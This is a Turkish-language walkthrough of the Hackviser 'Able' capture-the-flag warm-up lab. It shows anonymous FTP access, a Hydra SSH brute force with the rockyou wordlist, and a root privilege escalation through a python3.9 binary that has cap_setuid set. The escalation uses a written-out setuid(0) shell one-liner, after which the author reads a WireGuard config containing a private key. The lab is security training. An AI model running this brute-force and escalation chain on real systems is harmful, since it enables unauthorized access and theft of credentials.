

ABLE ISINMASI

INFO: Brute-force, şifre kırma yöntemlerinden biridir ve tüm olası kombinasyonları sistematik bir şekilde deneyerek doğru cevabı bulmayı amaçlar. FTP ve SSH servisleri, brute-force saldırıları ve yetki yükseltme teknikleri ile ilgili alıştırma yapmak için önerilir.

1. FTP'deki dosyanın adı nedir?

Bilgi: Varsayılan FTP useri olarak kullanılan Anonymous denenerek FTP'ye bağlanılır. "ls" komutu ile dosya adına ulaşılır.

```
(root@hackerbox)~  
#ftp 172.20.1.98  
Connected to 172.20.1.98.  
220 (vsFTPD 3.0.3)  
Name (172.20.1.98:root): Anonymous  
331 Please specify the password.  
Password:  
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp> ls  
200 PORT command successful. Consider using PASV.  
150 Here comes the directory listing.  
-rw-r--r-- 1 0 1002 1499 Oct 24 2023 readme  
226 Directory send OK.  
ftp>
```

2. readme dosyasındaki yanlışlıkla sızdırılmış olan kullanıcı adı nedir?

Bilgi: "get" komutu ile readme dosyası makineye kaydedilir, ardından cat ile okunur.

```
ftp> get readme  
local: readme remote: readme  
200 PORT command successful. Consider using PASV.  
150 Opening BINARY mode data connection for readme (1499 bytes).  
226 Transfer complete.  
1499 bytes received in 0.00 secs (416.4629 kB/s)  
ftp> quit  
221 Goodbye.  
(root@hackerbox)~  
#cat readme  
-----  
Notes:  
-----  
- Always ensure you are connecting via a secure network.  
- Do not share any sensitive information or files outside of this FTP.  
- If you encounter any issues, please report to the system admin team immediately.  
  
Additionally, for those who've been working on user configurations, remember to review and delete any config backup files. Some, like "ronald.config.backup", we re inadvertently left in the /docs directory during recent maintenance.  
  
Thank you,  
Element17 Solutions System Admin Team
```

3. *readme* dosyasının grubu nedir?

Bilgi: Öncelikle dosyayı okuyabilmek için, kullanıcı adı ve parolaya ihtiyacımız olduğunu biliyoruz. Hydra ile “rockyou.txt” kullanılarak brute-force atıyoruz. Parolaya ulaşıyoruz.

```
[root@hackerbox]# hydra -l ronald -P /usr/share/wordlists/rockyou.txt 172.20.1.98 ssh -v
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
vice organizations, or for illegal purposes (this is non-binding, these *** ignore laws &
nyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-11 13:36:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended
e tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398
ries per task
[DATA] attacking ssh://172.20.1.98:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://ronald@172.20.1.98:22
[INFO] Successful, password authentication is supported by ssh://172.20.1.98:22
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 13 because of too many errors
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 12 because of too many errors
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 14 because of too many errors
[STATUS] 108.00 tries/min, 108 tries in 00:01h, 14344293 to do in 2213:38h, 13 active
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 11
[22][ssh] host: 172.20.1.98 login: ronald password: zxcvbnm
[STATUS] attack finished for 172.20.1.98 (h:14344398 p:14344398 t:14344398)
```

Ssh ile bağlantı sağladıktan(ssh@ip-adresi) sonra “readme” dosyasının dizinini arıyoruz.

```
ronald@debian:~$ find / -name "readme"
find: '/var/log/private': Permission denied
find: '/var/spool/rsyslog': Permission denied
find: '/var/spool/cron/crontabs': Permission denied
find: '/var/cache/private': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/apparmor/c08a2770.0': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/lib/private': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
/var/ftp/readme
```

Grubunu öğreniyoruz.

```
ronald@debian:~$ cd /var/ftp
ronald@debian:/var/ftp$ ls -l
total 4
-rw-r--r-- 1 root sysadmins 1499 Oct 24 2023 readme
ronald@debian:/var/ftp$
```

4. *sysadmins* grubundaki diğer dosyalar hangi dizin yolundadır?

Bilgi: `find / -group sysadmins 2>/dev/null` komutu ile buluruz. `find / -group sysadmins 2>/dev/null` komutu, kök dizinden başlayarak tüm dosya sisteminde *sysadmins* grubuna ait dosyaları arar ve bulduğu dosyaları listeler. Aynı zamanda, bu arama sırasında karşılaşılabilecek hata mesajlarını gizler (`/dev/null`'a yönlendirir).

```
ronald@debian:/var/ftp$ find / -group sysadmins 2>/dev/null
/var/ftp/readme
/configs/admin.vpn.wg.conf
/configs/jack.vpn.wg.conf
/configs/carlos.vpn.wg.conf
ronald@debian:/var/ftp$ ..
```


5. *getcap* komutunun dosya yolu nedir?

Bilgi: "whereis" komutu ile bulabiliriz.

```
ronald@debian:/$ whereis getcap
getcap: /usr/sbin/getcap /usr/share/man/man8/getcap.8.gz
```

6. *VPN'de admin kullanıcısının IP adresi nedir?*

Bilgi: VPN'de admin kullanıcısının IP adresini bulmak için öncelikle VPN dosyalarını bulmamız gerek. Biraz araştırma yaptıktan sonra bu dosyaya ulaşıyoruz fakat yetkimiz olmadığı için dosyayı okuyamıyoruz.

```
ronald@debian:~$ cd /configs
ronald@debian:/configs$ ls -l
total 12
-rw----- 1 root sysadmins 235 Oct 24 2023 admin.vpn.wg.conf
-rw----- 1 root sysadmins 235 Oct 24 2023 carlos.vpn.wg.conf
-rw----- 1 root sysadmins 235 Oct 24 2023 jack.vpn.wg.conf
ronald@debian:/configs$ cat admin.vpn.wg.conf
cat: admin.vpn.wg.conf: Permission denied
ronald@debian:/configs$
```

Yetki yükseltmemiz gerekecek. Bunun için yetki yükseltebileceğimiz bir yüzey bulmamız gerekir.

```
ronald@debian:/configs$ ls -l
total 12
-rw----- 1 root sysadmins 235 Oct 24 2023 admin.vpn.wg.conf
-rw----- 1 root sysadmins 235 Oct 24 2023 carlos.vpn.wg.conf
-rw----- 1 root sysadmins 235 Oct 24 2023 jack.vpn.wg.conf
ronald@debian:/configs$ cat admin.vpn.wg.conf
cat: admin.vpn.wg.conf: Permission denied
ronald@debian:/configs$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/python3.9 cap_setuid=ep
```

Çalıştırdığımız komutun çıktılarına baktığımızda python3.9 çalıştırılabilir dosyasına cap_setuid=ep yeteneği verilmiş olduğunu gördük. cap_setuid, bir sürecin UID değerini değiştirerek başka bir kullanıcı izinleriyle çalıştırma yeteneği verir. ep değerinden dolayı, python3.9 programı çalıştırıldığında root yetkileriyle çalışacaktır.

Bunun için yetki yükseltme komutunu çalıştıracğız. Komutumuz:

python3.9 -c 'import os; os.setuid(0); os.system("/bin/sh")'

- **python3.9 -c:** Bu kısım, Python 3.9 interpreter'ını kullanarak komutu çalıştırır. -c argümanı, Python komutunu doğrudan terminalde yazıp çalıştırmak için kullanılır.
- **import os:** Python'daki os modülünü içe aktarır. Bu modül, işletim sistemi ile etkileşime geçmeyi sağlar, örneğin dosya işlemleri yapma, komut çalıştırma vb.
- **os.setuid(0):** Bu komut, işlem kullanıcı kimliğini değiştirir. 0, root kullanıcıya karşılık gelir. Bu satır, çalıştıran kullanıcının root yetkilerini almasını sağlar. Eğer komut başarıyla çalışırsa, tüm işlemler root yetkileriyle yapılacaktır.
- **os.system("/bin/sh"):** Sistem çağrısı yapar ve /bin/sh komutunu çalıştırır. Bu, shell (kabuk) açar. Eğer önceki adım root yetkilerini aldıysa, bu shell de root yetkileriyle çalışacaktır.

Bu komut, bir Python betiği aracılığıyla root yetkilerini elde etmek ve sistemde root erişimiyle bir shell açmak amacı taşır.

Komutumuzu enjekte etme zamanı.

```
ronald@debian:/configs$ python3.9 -c 'import os; os.setuid(0); os.system("/bin/s
h")'
# whoami
root
# cat admin.vpn.wg.conf
[Interface]
Address = 10.0.0.2/24
ListenPort = 51820
PrivateKey = IEj+WblH9mGbrII+/Y3sQeyAWU9wCy0sb9swxTPrT2I=

[Peer]
PublicKey = r2l5lpxxvF6Tf6sBAeLayJV4C/EobmHeituqvU0VHkE=
AllowedIPs = 0.0.0.0/0, ::/0
Endpoint = element17.hv:51820
#
```

-ISINMA TAMAMLANDI-

Tebrikler

SweepingSpeedball56 Hackviser'ın Able ısınmasını başarıyla tamamladı